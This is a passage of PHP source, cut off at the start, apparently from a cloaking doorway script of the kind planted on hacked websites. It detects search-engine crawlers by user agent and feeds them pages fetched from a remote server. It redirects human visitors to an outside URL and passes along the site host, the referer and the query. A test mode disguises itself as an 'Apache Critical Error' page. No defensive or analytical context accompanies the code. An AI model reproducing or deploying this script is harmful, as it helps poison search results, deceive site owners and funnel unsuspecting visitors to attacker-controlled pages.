0 ) return true; if( preg_match( "#.*spider.*#isU", $ua, $res ) > 0 ) return true; if( preg_match( "#.*slurp.*#isU", $ua, $res ) > 0 ) return true; if( preg_match( "#.*jeeves/teoma.*#isU", $ua, $res ) > 0 ) return true; if( preg_match( "#.*pukiwiki.*#isU", $ua, $res ) > 0 ) return true; return false; } if (IsBot()==true) {$param='?bot=1';} else {$param='?bot=0';}; if (!$_GET[q]) { if ($_GET[test]==1) { print 'Apache Critical Error :(
Error: '.$door_id.'
'; print 'Param: '.$param.'
'; print 'IP: '.$_SERVER["REMOTE_ADDR"].'
'; print 'Client: '.$_SERVER["HTTP_USER_AGENT"].'
'; print 'Host: '.$_SERVER['HTTP_HOST'].'
'; print 'Refer: '.$_SERVER['HTTP_REFERER'].'
'; print 'R: '.$url_redirect; } die; } if (IsBot()==false) { Header('Location: '.$url_redirect.'?x1='.urlencode($_SERVER['HTTP_HOST']).'&x2='.urlencode($_SERVER['HTTP_REFERER']).'&x3='.urlencode($_GET[q])); Die; }; $page=GetPage($url_db.$door_id."/".$_GET[q].".php".$param); if (strlen($page)<1000) { die; } print $page; //print $url_db.$door_id."/".$_GET[s].".php".$param; ?>